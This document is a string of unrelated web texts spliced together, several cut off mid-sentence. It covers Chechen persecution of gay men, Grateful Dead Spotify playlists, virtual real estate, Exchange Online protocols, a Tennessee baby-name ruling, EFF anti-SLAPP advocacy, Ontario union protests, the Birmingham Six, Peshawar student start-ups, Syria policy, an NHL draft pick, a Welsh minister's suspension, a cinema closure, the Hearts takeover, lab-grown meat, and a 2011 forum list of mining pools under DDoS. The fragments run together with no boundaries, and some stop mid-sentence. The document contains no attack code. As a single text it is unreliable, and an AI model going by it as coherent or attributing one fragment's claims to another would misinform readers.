Read or Share this story: http://on.rgj.com/1QoxHWmInternational organizations are demanding Russia investigate the abduction, detention and killing of gay and bisexual men in the country's southern republic of Chechnya.
United Nations human rights experts on Thursday called on Russian authorities to "put an end to the persecution of people perceived to be gay or bisexual in the Chechen Republic who are living in a climate of fear fueled by homophobic speeches by local authorities."
"It is crucial that reports of abductions, unlawful detentions, torture, beatings and killings of men perceived to be gay or bisexual are investigated thoroughly," they added.
The appeals follow reports in the respected Russian newspaper Novaya Gazeta that police in the predominantly Muslim republic of Chechnya have rounded up more than 100 men suspected of homosexuality and that at least three of them have been killed.
Chechen authorities have denied the reports, while a spokesman for leader Ramzan Kadyrov insisted there were no gay people in Chechnya.
"Nobody can detain or harass anyone who is simply not present in the republic," Alvi Karimov told the Interfax news agency. "If such people existed in Chechnya, law enforcement would not have to worry about them since their own relatives would have sent them to where they could never return."
Separately, the director of the human rights office at the Organization for Security and Cooperation in Europe, Michael Georg Link, said Thursday that Moscow must "urgently investigate the alleged disappearance, torture and other ill-treatment'' of gay men in Chechnya.
Novaya Gazeta also reported this month that Chechen authorities are |
best material available on the service (Watkins Glen Soundcheck 1973, "She Belongs To Me" from Postcards From The Hanging, Laguna Seca "Playin' In The Band" 1988), and each had to be slotted into these playlists at exactly the right place chronologically.
I tried my best to use resources to get these in exact order -- though I'm sure there's a few mistakes in there (1980 was particularly challenging). Some tracks appeared on multiple releases and tried to de-duplicate the best I could. I avoided adding the studio albums, but studio rehearsals and "unreleased" tracks did make the cut.
And, yes, every time you listen to Grateful Dead on Spotify, the band gets a fraction of a cent.
Here's the year-by-year breakdown, followed by links to the playlists and some additional fun facts about Grateful Dead on Spotify.
Click a year to open a chronological stream of shows available from that year in Spotify app (web links at bottom of post)
These playlists contain 1906 tracks and 241 hours of music. That's right, you can listen to Grateful Dead on Spotify for 24 hours per day for ten days in a row and still not get through it all
Not surprisingly, the meat of these playlists come from the 70s. 1972 gets a huge boost from the plethora of Europe releases, and 1977 makes a strong showing thanks to Dicks Picks and Download Series. 1980, 1989 and 1990 also see spikes based on the recording of live albums during those eras and availability of 24 track recordings that got pumped out over the years.
Poor 1986. The only year without a single track. What show / tracks do you think deserve release from this year?
Notable absences: The amazing five disc Grateful Dead Movie Soundtrack from Winterland 1974, The Dave's Picks Series, The Road Trips Series, Winterland 1977 Collection
Be sure to check out the studio jams in the 1975 playlist; I have heard no other Dead that sounds like this.
Bob Weir has two albums on the service and Jerry Garcia has a handful of assorted releases (Keystone Sessions with Merl, Hooteroll, Garcia-Grisman stuff), and guest appearances. It's time to get over whatever hurdle is preventing great JGB to find it's way on SpotifyVirtual reality (VR) is projected to become a $40 billion industry by 2020. Innovations in both VR hardware and software have made for interesting applications, especially in gaming and entertainment. In addition, new products by companies like Oculus and Sony are making VR headsets more accessible to both consumers and developers.
New platforms seek to integrate these new VR technologies with the social element of multiplayer gaming. These allow for more immersive experiences unlike previous virtual worlds like Second Life. To its credit, Second Life popularized not only activities such as social interaction through digital avatars but also the monetization of virtual items and real estate. Rare and unique items in these virtual worlds and online games can reach six-figure prices in real dollars. Demand for such items has even spawned a lucrative black market.
Today’s modern VR platforms leverage emerging technologies such as blockchain to make virtual property ownership and trade more secure. Virtual reality platform Decentraland, for example, uses blockchain to identify and designate ownership of land in its virtual world.
Because of the various possible applications of VR, virtual real estate can now function similarly to real-world properties that they can be sold, leased, and used for virtual activities. Blockchain could help formalize the market for these virtual properties.
Initial Attempts
Second Life’s developer Linden Labs deserves credit for its attempt to create a virtual real estate market. Virtual real estate in Second Life was initially meant to function as in-world spaces where users can place game objects such as items and architecture. Users could get larger spaces by paying for premium subscriptions. Eventually, the in-platform economy evolved to allow those who own large stretches of virtual land to sell or rent these spaces out through Second Life’s own marketplace. It was not long until marketers saw potential to increase their visibility by using these spaces to promote their brands on the platform.
Other companies went as far as creating virtual storefronts on Second Life. However, Second Life’s novelty and buzz eventually wore off and usage of the platform dropped. Some believe that it was because Second Life failed to fill a commercial need. Users also complained about lag issues and poor performance. Second Life supposedly still has 600,000 active users according to Linden Labs, but it isn’t the definitive online gathering place that it once was. Brands eventually had to drop their participation on the platform and focus on building their online presence on other social platforms with wider reach such as Twitter and Facebook.
VR, Virtual Worlds, and Blockchain
Still, virtual reality is just virtual. You are not buying a property in the Bahamas so don’t go booking flight tickets. However, new VR technologies are bringing a resurgence of interest in virtual worlds. Improved headsets now showcase high resolution display panels that allow for better visuals. Hardware such as tactile gloves can now also offer finer controls and haptic feedback creating more immersive experiences for users.
Virtual worlds seek to capitalize on these developments. Virtual reality platform Decentraland, which recently raised $24M ICO in less than 35 seconds, allows decentralized apps to be built on top of its technology. In addition, instead of essentially subscribing to a virtual world service like Second Life, Decentraland is not controlled by a central authority. Developers and users can enjoy a more open platform to experience VR. The decentralized platform enables users to monetize virtual property beyond what is typically allowed by the terms of services of most virtual worlds. Many online games, for instance, disallow trading of virtual properties for fiat currencies or any trading activity done outside their own platforms.
Investment Opportunities
As an investment opportunity, virtual real estate offers rewards comparable to real world properties. High traffic areas in virtual worlds are prime locations for commercial use and brand visibility. For example, virtual arenas in sports games have banners and displays showcasing sports brands. Marketers pay game developers top dollar for their brands to be showcased on these spaces.
Virtual real estate owners would be able to use their properties for similar purposes. Modern VR platforms can even allow for a variety of campaigns that maximize the sensory capabilities of new hardware. Businesses could create showrooms where customers can see products in 3D and even “feel” them.
Exciting Possibilities
As such, the perfect storm seems to be brewing for VR. The improvements in the VR hardware are allowing for richer experiences. “Environments in VR are completely malleable, down to the setting, physics, and social parameters. This allows blockchain developers to experiment in ways that would be impossible in the physical world,” writes Franco Zeoli from Zeppelin. New decentralized VR platforms also liberate users from the usual constraints imposed by virtual world developers. Blockchain ensures that the trade of virtual properties becomes fair and secure.
Beyond gaming and virtual exploration, developers on decentralized platforms could even look into creating virtual venues for events such as concerts, shows, and sports. Similar to real-world events, marketers can use these to push brands and even virtual merchandise. As with most tech developments, the market ultimately determines if these developments will live up to their potential. But given the current speed of progress in VR, exciting possibilities await as the technology and market continue to evolve.The Preferred Connectivity Protocol for Exchange Online
In November 2016, Microsoft told Office 365 customers that they would no longer support RPC over HTTP (aka “Outlook Anywhere”) connections to Exchange Online. The idea was that if customers had almost a year to upgrade clients, Microsoft could hit the switch on October 31, 2017 (today) and everyone would move forward into a new world of MAPI over HTTP connectivity.
Customers Said No
As it turns out, life is sometimes difficult, and customers do not cooperate. Pushback from customers has forced Microsoft to soften its stance. Instead of a total ban on RPC over HTTP connections, Microsoft will cease supporting the protocol in a gentler attempt to convince customers to move their Outlook connectivity to MAPI over HTTP.
Although RPC over HTTP connectivity will continue after today, it will no longer be a supported protocol. This means that Microsoft will no longer offer support for any issue connected with RPC over HTTP and will not release any code fix or update to resolve problems, except when those problems compromise security. Nothing dramatic will happen when Microsoft ceases support. RPC over HTTP connections will continue to work, and Outlook will be able to send and receive email.
The Problem of Old Outlook
The problem facing customers is quite simple. Large populations of older versions of Outlook are in daily use and customers have no appetite to refresh those clients. Desktop refreshes are always (un)popular with I.T. departments. They are complex, costly, and usually involve some user retraining to master the details of the new version of Office. In turn, the help desk gets more calls, which drives more cost.
Despite Microsoft’s best efforts to convince Office 365 tenants that Office 365 ProPlus, the click-to-run version of Office, is the best choice, customers often take the sensible approach of “if it’s not broken, don’t fix it” and persist with Outlook 2013, Outlook 2010, and even earlier clients.
Proving the longevity of the protocol, all Outlook clients can connect using RPC over HTTP, but not all clients can connect using MAPI over HTTP. For instance, Microsoft never backported the new protocol to Outlook 2007, so Outlook 2007 and earlier clients instantly become unsupported when Microsoft stops support for RPC over HTTP.
Check Your Clients
If you are unsure about the supportability of the clients you use, check the system requirements for Office 365 for more information and this page for the latest updates for Outlook. Essentially, the best idea is to run the latest version of Outlook you can, complete with all available updates.
Microsoft recommends that tenants only run clients that support MAPI over HTTP. This makes sense given that no future development will happen for RPC over HTTP, its unsupported state, and that Microsoft has no interest in the protocol.
Cloud Plumbing
As I noted last year, the transition to MAPI over HTTP is an example of Microsoft upgrading its internal plumbing to make the cloud function better. Old email protocols sometimes die hard (IMAP4 and POP3 are great examples), but the writing is on the wall for RPC over HTTP.
Follow Tony on Twitter @12Knocksinna.
Want to know more about how to manage Office 365? Find what you need to know in “Office 365 for IT Pros”, the most comprehensive eBook covering all aspects of Office 365. Available in PDF and EPUB formats (suitable for iBooks) or for Amazon Kindle.Home Daily News Judge explains why she ordered name change…
Judiciary
Judge explains why she ordered name change for baby 'Messiah': Only Jesus has that title
Parents who were feuding over the last name for their 7-month-old son, Messiah, took their dispute to a Tennessee court and wound up with a new first name for the boy.
Child Support Magistrate Lu Ann Ballew ordered Messiah’s name changed to Martin last week, report the Associated Press and WBIR-TV. “The word Messiah is a title and it’s a title that has only been earned by one person and that one person is Jesus Christ,” Ballew told the television station.
The boy’s full name, Ballew ruled, is Martin DeShawn McCullough, which incorporates his father’s last name as well as that of his mother, Jaleesa Martin. Messiah is fourth on a 2012 list of baby names that are most increasing in popularity, AP says.
Ballew noted the boy lives in a county with a large Christian population. “It could put him at odds with a lot of people and at this point he has had no choice in what his name is,” she told WBIR.
Jaleesa Martin said she plans to appeal. She said she chose the name Messiah because it goes well with the names of his two siblings, Micah and Mason.Urge Congress to Support Anti-SLAPP Legislation to Protect Free Speech, Both Online and Off
Late one evening in June 2012, Matthew Inman, the comic genius behind The Oatmeal, received a knock on his door: it was a hand-delivered letter demanding he pay $20,000 for articles he had written and published on his website.
Matthew hadn't violated the law. Instead, he exercised his Constitutionally protected right to free speech and criticized rival humor website FunnyJunk, which had been republishing comics from The Oatmeal website. FunnyJunk brought in notorious lawyer Charles Carreon in an attempt to bully Inman into a paying huge settlement fees -- or face a lengthy court battle. EFF helped defend Matthew's right to publish critical content online and successfully fended off the bogus legal threat.
Now EFF and the Public Participation Project want to help others who are in the same boat. Join us in asking Congress to pass legislation to protect bloggers like Matthew.
Matthew was the victim of a Strategic Lawsuit Against Public Participation (SLAPP). An independent blogger targeted by such a suit may find it impossible to afford the legal counsel necessary to defend her online free speech, and may be forced to pay huge settlement fees, remove articles, or even shut down a blog entirely.
Join EFF and the Public Participation Project in calling on Congress to support the PETITION Act, strong federal anti-SLAPP legislation. The concept is simple: when a blogger faces a legal threat for legitimate online content, she can file a motion to get the case dismissed quickly. If the case is found to be frivolous in court, she won't have to pay the legal fees.
Laws like this already exist in twenty-eight states. Let's pass a federal law to ensure bloggers everywhere have the legal resources necessary to defend their online speech.
Help us stop anti-speech bullies. Tell Congress to protect free expression both online and off through the PETITION Act.Hundreds of public sector workers from across the province gathered at Queen’s Park Tuesday to protest the austerity measures they say the province wants to impose on them. Without a contract since Dec. 31, the union is decrying the government's contract proposal of four more years with no wage increase. OPSEU, representing 35,000 provincial employees, received a strike mandate of more than 90 per cent from its members in early November.
OPSEU workers, rallying at Queen's Park on Tuesday, have been without a contract since Dec. 31. ( Richard J. Brennan / Toronto Star )
Speaking the crowd in -15 Celsius temperatures, union president Warren (Smokey) Thomas delivered a message to Premier Kathleen Wynne and Treasury Board President Deb Matthews. “Come to the bargaining table, get all those Draconian concessions off the table, bargain fairly (and) you will get a contract,” he said. Thomas said instead of being a friend of public sector workers the Liberals “come with something worse than (former Tory leader) Tim Hudak or (former Tory premier) Mike Harris or any right-winger could have ever dreamed up.”
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“I truly believe Kathleen Wynne thought ‘we can make OPSEU fold up real fast’ and they were wrong,” he said adding, “we didn’t pick this fight but we will damn well finish this fight.” Faced with a $12.5 billion deficit, the Liberal government, which was elected with a majority in June, is promising to balance the books by 2017-18. And union leaders accuse the government is doing it on the backs of workers. A Matthews spokeswoman said the public expects the government to work together to reach an agreement that is fair to our employees and taxpayers. “We remain committed to working with OPSEU and to negotiating a fair deal. Both parties have agreed not to bargain in the media because the right place for that negotiation is at the table. We remain at the table, willing and able to negotiate with OPSEU,” Leslie O'Leary said.
Read more about:One of the Birmingham Six has challenged the IRA members behind the 1974 pub bombing atrocity in the city to "come clean" and own up to their part in the massacre.
Paddy Hill will launch an online petition this week aimed at pressurising the government into a new public inquiry into the bombings, which killed 21 people and injured 182 others.
In a speech this weekend to commemorate the 1972 Bloody Sunday shootings in Derry, Hill called for the remaining IRA activists to tell the truth about what happened in Birmingham.
He also said he hoped any fresh investigation would highlight the role of an alleged informer who, Hill claims, told West Midlands police that he and the five other people wrongly convicted of the murders were not involved in the bombings.
Hill said: "From what we have learned we now know that there was an informer in the IRA unit that bombed Birmingham. At the time of our arrests he told the police that we were not even in the IRA and knew absolutely nothing about the bombs. Any new inquiry has to look at the role of that informer in this scandal.
"As for those behind the bombs, there are, to my knowledge, three of them still alive, walking the streets as free men. I don't believe they would do a single day in jail, due to the amnesty given under the Good Friday agreement. But I do feel they should come clean and tell any public inquiry exactly what they did 40 years ago."
Hill said any new inquiry should also explore the role the then Labour government played in putting him and five other innocent men behind bars.
"There is a 75-year public interest immunity certificate on our case, which prevents the full truth coming out. Any public inquiry should be allowed access to all that material and overturn that bar on the full facts. Because even at the time of our arrests, we were told by police officers that they didn't care if we did it or not – that people right at the top needed convictions. That has to be looked at in any inquiry."
Hill said he was "astonished" that the families and loved ones of those killed and maimed in the 1974 IRA bombings failed to get the necessary numbers to sign their own online petition. "That's why I am lending my help with my own online petition, which needs 100,000 plus people to sign."
Paddy Hill and five other Irishmen – Hugh Callaghan, Billy Power, Johnny Walker, Richard McIlkenny and Gerry Hunter – spent 16 years in prison. In 1991 the court of appeal quashed their convictions for the Birmingham bombings.PESHAWAR: As Pakistani entrepreneurs hop around incubators and release one app after another, it feels like the field of science is missing from the innovative action. Dr Faisal Khan at the University of Peshawar — where the student body consists of 90 per cent girls — felt similarly, and decided to do his part by introducing a new course last year.
Also read: Nergis Mavalvala: The Karachiite who went on to detect Einstein's gravitational waves
He planned a course that would help students bridge the gap between academia and industry, by undertaking practical scientific applications through entrepreneurship. His course was offered to final year bio-technology students, who were taught relevant skills for life-sciences start-ups. To get them interested, Khan split the students up into teams, and each was asked to brainstorm a project that solved a real-life problem through a science start-up.
A judges panel of academicians, government officials and people working in the private sector, was asked to select projects that could move on the second stage: implementation. The judges selected 21 start-ups for their creativity and viability, out of which, here are six particularly bizarre but completely viable ideas.
Students working on 'Electro-Marvel': a battery powered by bacteria. — Photo by author
Electro-Marvel: Bacteria-charged battery that lasts for years
Imagine having to charge your UPS’ battery only once in a year. No, really. One all girls-team from the university wanted to solve the country's loadshedding woes, and has deviced an alternative charging mechanism for UPS batteries, which they call ‘Electro-marvel.’
The basic concept consists of a battery — similar to the ones already available in markets — except that it will be powered by bacteria instead of electricity, and will last a whole year instead of just a few hours.
Aside from the UPS, Electro-marvel will also work with heavy household appliances.
If the girls pull this off, it might be an expensive investment — costing Rs40,000 per battery — but it will last for years. Think of all the money saved on replacing chargers and batteries.
Bio-Lumin: Glowing seeds to fend off pest attacks
One of the biggest problems plaguing the agricultural industry is pests, which can reduce a farmer's crop yield significantly. In rural areas, farmers use pesticides to avoid pest attacks. Unfortunately, chemicals in pesticides are the source of multiple environmental problems, including soil pollution affects the food being grown and leads to health problems in the animals and humans consuming it.
One team is proposing an unconventional but simple solution, by growing seeds that glow in case of a pest attack. Genes from a fish (which has glowing qualities) will be added to plant seeds, so when the altered seeds grow, the plant will also be able to grow in case of a pest attack. A kilogram of these seeds could be available in the market for Rs2,000, and a farmer would only need to plant a few of the seeds special seeds throughout his fields.
Alpine: an alternative to the banned Shatoosh shawls
Shatoosh shawls are made from the wool of a rare species of Tibetan antelopes, Chiru, known as the ‘King of wool.’ These shawls are banned in both India and Pakistan, but because they come from a rare, endangered animal found in the hills of Kashmir, owning them has become a status symbol.
Since they are sold and worn illegally, Shatoosh shawls are expensive. One student team wants the shawl to be common commodity that can be worn by people belonging to middle and lower classes to. In order to create a cheaper shawl of the same material — which they will call 'Alpine' — the students will transmit the genes of a Tibetan antelope into sheep and lambs. Once the animals breed, their wool will grow similarly to that of the Chiro without causing the endangered species to go into extinction.
Students will transmit the genes of a Tibetan antelope into sheep and lambs to grow wool similar to that of the Chiro. — Photo by author
Culture-hub: Self-producing chemicals used in medical sciences
According to one student’s research, Pakistan imports different chemicals worth $330 million each year from countries including the United States, Germany, Sweden and Finland. It might serve the country better to produce these chemicals locally, and to finally build a hub that could serve as a resource for science and medicine research and diagnostic labs.
One team wants to do exactly that. They have drawn up a blueprint for a factory that will produce all the chemicals used in life sciences in Pakistan, and is ready to kick-start their idea. For the project's first phase, a pharmaceutical company’s laboratory will be sufficient, as soon as they find one. The production, the team estimates, could potentially profit $400 million to the country’s exchequer each year.
Dracu-stroke: Blood thinner for stroke patients
Draculin, which is commonly found in vampire bats, can help with the thinning of blood. If it is combined with a commonly available herb to create a new bio-herb, the new concoction can be injected into a patient suffering fro a stroke. Essentially, this bio-herb works as a blood thinner or an anti-coagulant.
A local chemical laboratory and hub could profit the country $400 million each year. — Photo by author
The team chooses to call their bio-herb 'Dracu-stroke' because of its effectiveness in treating stroke patients. The brilliant thing about Dracu-stroke will be its minimal after effects when compared to other available thinners like Aspirin and Warfarin. Its after effects will last for only eight hours, and it will also be cheaper from other options in the market at a cost of Rs2,000.
Explore: doctHERs: Remote patient care with female doctors at the fore
BioLamp and bacteria-powered uses
Bio-lamp’s idea is simple: a bulb that glows in the dark and dims in daylight without using any electricity. Such a bulb is possible, according to one student team, by using bio-luminescent bacteria to make bulbs and energy savers. Their idea is similar to the team proposing to build bacteria-powered batteries, except in this case, the bulbs will be auto-regulated, without any need of human intervention.
The team also wants to build a long-lasting charging device called BioVolt. Using a mechanism similar to that of a power bank used to charge cell phones and laptops, BioVolt will work for years on end.
Unlike regular power banks, once again, the BioVolt will be powered by bacteria instead of electricity. The BioVolt will also be smaller in size compared to power banks, and will emit a pleasant smell to users because of the bacteria.In the past, American officials have said there is no legal basis for such action. Mrs. Clinton said a no-fly zone would have to be imposed by a multicountry coalition. She expressed optimism that Russia, whose intervention has complicated the airspace in Syria, would cooperate. But it is unclear whether Russia would do that, and there are many other unanswered questions.
Mrs. Clinton rejected the idea of reintroducing huge numbers of American combat troops in the Mideast, as Republicans have urged. Senator Lindsey Graham would put 10,000 Americans on the ground in Iraq. Jeb Bush, in a speech on Wednesday, called for a United States-led global coalition, with American and other troops on the ground, to take out the Islamic State “with overwhelming force.”
Mrs. Clinton is, however, opening the door to a bigger, and accelerated, role in the region. She said the 50 Special Operations troops Mr. Obama has approved in Syria may not be enough. She also urged that the 3,500 American troops in Iraq as trainers and advisers be given greater “flexibility” to work on the front lines with the Iraqi Army.
Perhaps her sharpest break with Obama policies was a declaration that the fight in Syria is no longer about first ousting Mr. Assad and then focusing on the Islamic State, also called ISIS or ISIL. “We have to prioritize,” she said. “We need to get people to turn against the common enemy of ISIS.” It is unclear how that will affect her call for a more robust international coalition against the Islamic State, since Saudi Arabia and Turkey have long focused on overthrowing Mr. Assad.
It was encouraging to hear Mrs. Clinton bluntly demand that Turkey, a NATO ally, finally seal its porous border, a major channel for Islamic State fighters, arms and oil sales, and stop bombing Syrian Kurds who are fighting ISIS. She promised to pressure the government in Iraq to arm Sunnis and Kurds, who are vital to the fight against the Islamic State, or else Washington would do it.CHICAGO – Jason Robertson was wearing his bright green Dallas Stars jersey, given to him by general manager Jim Nill after he was selected at No. 39 overall on the second day of the NHL Draft in Chicago.
It was a dream come true for the winger, who scored 42 goals with the OHL Kingston Frontenacs last season, as both a hockey player and a hockey fan.
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Say, who was your favorite team growing up again, Jason?
Robertson laughs, awkwardly, careful not to offend anyone affiliated with the franchise that selected him. “No, no: Dallas is my favorite team,” he said. “I don’t think I’ve ever been to Texas. But I like the Cowboys, so …”
If this is true now, it wasn’t true before the draft: He’s a Los Angeles Kings fan. Robertson, now 17, lived in LA until he was 10 years old, and caught the hockey bug while attending Kings games with his grandfather and his father, who were season-ticket holders. He started playing youth hockey in Los Angeles, as did his older and younger brothers.
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Here are the main problems for hockey parents in LA when they have three children, of different ages, playing in youth leagues: Scheduling and traffic.
Here was the solution to those problems for Robertson’s family:
Buying an giant RV.
Robertson’s father would pile his young players into the RV, drive it to the rink and park it there until their games and practices were done.
Story continues
“The rink, with traffic, was about an hour and a half away. So my older brother and my little brother played hockey. Their practices would be at three and mine would be at six. So we couldn’t just have one guy going there, and then another guy comes, and so on. And back then, once you’re done with practice, it’s an hour and a half home, so you’re getting home at 9 p.m.,” recalled Robertson.
So the boys would hang out in the RV until practice. They’d watch TV. They’d eat meals. They’d do their homework. It became a mobile command center for the family at the rink.
Around 10 years old, Robertson moved to Detroit. Things were a bit easier. “The rink was like 10 minutes away,” he said.
The family’s dedication to their young players has produced two promising talents
“It’s done a lot of miles.” I’ve come a long way.”
. Not only was Jason Robertson drafted by the Stars, but his younger brother Nick Robertson was drafted by the Peterborough Petes in the OHL Priority Selection in April.
Not bad for a couple of kids who used to battle in floorball.
“I normally dressed my littler brother up a as goalie and rip five-hole on him,” said Jason Robertson. “He just did his draft. I know two years from now, when he’s doing his NHL draft, I’ll be rooting for him. He and I have been really close in hockey.”
To make the show in the NHL one day, Robertson needs to work on his skating, which was identified by scouts as perhaps his greatest flaw as a player. “Everyone has to work on stuff. And for me, I have to work on that. The opportunity is wide open for me to get better,” he said.
Robertson knows he has a unique opportunity with the Stars. As a Filipino-American, he’d proud to be one of several players of color selected in the NHL Draft this year. “It’s nice to have this diversity. It’s really special,” he said. “To be a role model, to be a name player in Dallas, is what my goal is.”
But he’d also like to be representative of those kids stuck in LA traffic driving to the rink for practices and games.
He was one of them. And on Saturday, he drafted by an NHL team.
RV life paid off.
“It’s done a lot of miles,” he said, “and I’ve come a long way.”
—
Greg Wyshynski is a writer for Yahoo Sports. Contact him at puckdaddyblog@yahoo.com or find him on Twitter. His book, TAKE YOUR EYE OFF THE PUCK, is available on Amazon and wherever books are sold.
MORE FROM YAHOO SPORTSLabour’s Carl Sargeant vows to clear his name after stepping down while ‘distressing’ accusations are investigated
Wales’s cabinet secretary for communities and children has stepped down amid allegations about his “personal conduct”.
Carl Sargeant, the assembly member for Alyn and Deeside, said in a statement that he had met the first minister, Carwyn Jones, on Friday and been told that allegations had been made against him.
He said he had not been given details of the allegations, but that he had agreed to leave his post while an investigation was conducted. “I look forward to returning to government once my name has been cleared,” Sargeant added.
The news came as Jones began a reshuffle of his cabinet team, which it is thought will give some recently elected AMs a chance to serve on the frontbench.
A Welsh Labour spokesperson confirmed that Sargeant had been suspended from party membership – and therefore the Labour whip in the Welsh assembly – “while an investigation into allegations received takes place”.
In a statement released on Friday, Sargeant said: “I met with the first minister today and he informed me allegations had been made about my personal conduct, which was shocking and distressing to me. The details of the allegations have yet to be disclosed to me.
“I have written to the general secretary of Welsh Labour requesting an urgent independent investigation into these allegations in order to allow me to clear my name.”
“Given the nature of the allegations, I agreed with the first minister that it was right that I stand aside from cabinet today. I look forward to returning to government once my name has been cleared. I won’t be commenting further at this stage.”
Sargeant was first elected to the Welsh assembly in 2003. In December 2009 he was made minister for social justice and local government in Jones’s first cabinet. He became cabinet secretary for communities and children in May last year.Enjoy the whales on your last trip up the escalator at the World Exchange cinema
There's been a disappointing development in the ongoing campaign to save the movie theatre at the World Exchange Plaza in Ottawa. The theatre, which is currently the last remaining multiplex in downtown Ottawa, has been a point of discussion ever since Empire Theatres decided to pull out of the movie business and left the theatre in limbo. Landmark Cinemas took over the theatre (as they did the Empire 24 in Kanata) and expressed interest in continuing their business at the World Exchange despite the fact that Empire’s lease was up at the end of the year and that the landlord made it pretty clear that a movie theatre wasn’t the WE’s ideal partner. New developments suggest that the theatre will indeed close at the end of the year.
The news comes from Marybeth in the Facebook group that was started in support of a theatre at the World Exchange and has been running a fine campaign to rally public support:
Hi folks. Just wanted to let you know that I have been informed that despite effort from both Landmark Cinemas and the landlord for the World Exchange Plaza, the parties are "unable to reach a mutually acceptable lease arrangement"… Given the time that has passed, this is not too surprising. The landlord will continue to look for a new tenant (which could include a theatre, though it is unlikely).
On the other hand, the controversy of the World Exchange theatre raised some question marks about the upcoming Lansdowne cinema, which was left without an owner following the Empire exodus. Potential buyers saw the World Exchange as undesirable competition, since theatres within close proximity would be competing for films. However, if the World Exchange is kaput, then Lansdowne (which is already undergoing construction) might become more appealing to a buyer.
Blah-ttawa might be a ghost town for a year or two, but now’s as good time as any to say good-bye to the World Exchange and explore some really great films that you’ve been missing at The ByTowne and The Mayfair. I guess my last film at the World Exchange will be a screening of Alexander Payne’s black and white Nebraska. That seems ironically fitting.Hearts moved a step closer to coming out of administration after creditors of a failed Lithuanian bank approved the sale of shares in the club.
Businesswoman Ann Budge has been awaiting an agreement so she can complete a £2.5m takeover of the Scottish Premiership outfit.
Ian Murray MP said: "Ukio Bankas creditors met this morning and approved the deal.
"Sale and purchase agreement needs completed, but we can say deal done."
Ukio Bankas is Hearts' biggest creditor and owns 29% of the Edinburgh club's shares as well as security over Tynecastle Stadium.
But that will now be sold following agreement at a meeting of the bank's creditors committee.
A sale and purchase agreement needs completed, but we can say the deal is done Ian Murray Foundation of Hearts
It follows a deal signed last week with the bank's parent company, UBIG, to buy the investment company's 50% holding in Hearts.
The football club's administrator, BDO, had feared running out of cash - and liquidation - had there been a further delay to the Ukio Bankas deal.
However, it appears that this threat has now lifted and Murray, who had led the Foundation of Hearts fans group in its efforts to save the club, described it as "absolutely fantastic news."
Millionaire former IT specialist Budge has fronted the cash for Bidco, the company that should now take over the running of the club.
The 66-year-old will become executive chair "on a no-fee basis" before transferring ownership to the Foundation of Hearts within five years of gaining control.
"This is the beginning of a new era for Heart of Midlothian Football Club," she said.
"I would personally like to express my gratitude to the fans for their support and I am confident that together we can rebuild Hearts to once again become one of the greatest clubs in the country.
"I'm very much looking forward to the beginning of this new chapter in the club's history.
"We're not across the line just yet but this is a very positive step and we are almost there.
"The fans have been magnificent throughout but I would urge them to keep backing the team in their numbers during the last few games to ensure we get to the end of the season.
"The end is now in sight and together I am confident we can achieve our target."
In the meantime, the foundation's 8,000-plus membership has pledged to donate cash on a monthly basis that will be used to pay for the club's running costs before Budge is given back the £2.5m.
"After the UBIG meeting last Monday, we all felt the worst and thought this was never going to happen," Murray told BBC Scotland.
There is still some work to be done to conclude proceedings, but we are now very close to a successful conclusion Bryan Jackson BDO
"But it's great news and it's great credit to BDO and the supporters for not only backing the foundation but being robust during this process.
"We're not quite there yet. There's still a little bit to go in terms of getting the sale and purchase agreement together, but we've got over pretty much all of the hurdles now and Hearts can hopefully look forward to a very bright future."
Hearts can now begin exiting administration after 27 April - following of 20-day cooling-off period for the UBIG share deal.
While sounding a word of caution about UBIG creditors' cooling-off period, BDO's Bryan Jackson said: "This is one of the final hurdles in the transfer of ownership of the club.
"I would like to thank the creditors of both UBIG and Ukio Bankas for agreeing to this deal and also the patience and forbearing of Ann Budge and the Foundation of Hearts.
"There is still some work to be done to conclude proceedings, but we are now very close to a successful conclusion."
Gint |
(and cooking lesson) with Peter Hoffman, a Manhattan chef with a passion for regional and seasonal produce. As he explains, there are many benefits — far beyond food miles — that come with reconnecting at least a little with seasons, soil, and the harvest.
As Mr. Pollan makes clear in his piece, a few heads of home-grown lettuce will not fix the gigaton-scale climate problem, which is driven by exploding energy appetites in a world where coal and oil remain the fuels of convenience. Nonetheless, this summer I’m determined to be a bit more diligent about our weed-choked garden plot and rather overgrown blackberry patch.
The article on the other end of the food spectrum, by my friend and science-writing colleague John Schwartz, brings word that animal-rights campaigners are so enamored with the idea of meat grown in laboratories instead of on the flanks of animals raised for slaughter that they’re offering a bounty to spur innovation.
People for the Ethical Treatment of Animals is unveiling plans on Monday for a $1 million prize to the “first person to come up with a method to produce commercially viable quantities of in vitro meat at competitive prices by 2012.”
As I wrote following the first international conference on vat-grown meat, there are big technical and public-relations hurdles to surmount before Burger King is selling lab-grown quarter pounders. Still, if someone does come up with a resource-efficient (low energy, low water) way to grow muscle tissue and turn it into something tasty, it might be possible for a growing population to have its environment, climate, conscience, and meatballs, too.
But, boy, that sure is a different vision than the one laid out by Michael Pollan (actually, I’d love to hear his thoughts on humane, low-carbon meat). I’ll send a note and links to John’s news story and my recent post.
Manufactured chicken nuggets and home-grown tomatoes on the same plate, perhaps? Maybe Mark Bittman can come up with a Minimalist recipe that morphs local and lab fare.pekv2
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Hero MemberActivity: 770Merit: 502 [Update-Locked]List of pools attacked from DDos & Not. October 13, 2011, 04:31:58 AM
Last edit: October 13, 2011, 04:42:19 PM by pekv2 #1
The pools are getting hit on and off, it's difficult to see which pool is actually being hit or not. I thought this might be a good idea keep some members in the loop on which pool is good to go, but apparently the pools are still getting hit on and off so I am closing & locking this thread.
If a mod don't mind, this thread can be deleted.
End of Edit:
I created this thread to list the pools that are being attacked by DDOS, and the ones that are not being DDOS attacked.
For the reason of this, I created an account over at bitcoins.lc, setup the miner, it would not connect, I'm not gonna create an account over at every pool to find out which ones that are not being attacked, I am sure others would not like to do that either. So if you already know please list what you know. It will be easier on the community. Thank you.
If you find an a pool that is working, and is in the Being Attacked section, please let me know, I will correct it.
You may list the pools that are being attacked and that are not being attacked, I will update the OP with the given list's.
Please submit name of the pool and URL link to the pool thread.
Lets stay on topic please.
Being Attacked
Code: BTCGuild
https://bitcointalk.org/index.php?topic=7760.0
Not Being Attacked
Code: [800 GH/s 0% fee SMPPS] ArsBitcoin mining pool!
https://bitcointalk.org/index.php?topic=18567.0
BitClockers
https://bitcointalk.org/index.php?topic=10127.0
[~90GH/s] Ozcoin
https://bitcointalk.org/index.php?topic=14085.0
[70 GH][0%][Merged Mining] SIMPLECOIN.US
https://bitcointalk.org/index.php?topic=45347.0
[~55 GH/s PPLNS] BitMinter.com
https://bitcointalk.org/index.php?topic=27062.0
[~50GH/s] RFCPool.com
https://bitcointalk.org/index.php?topic=26164.0
[337Gh/s] Bitcoins.lc
https://bitcointalk.org/index.php?topic=10121.0
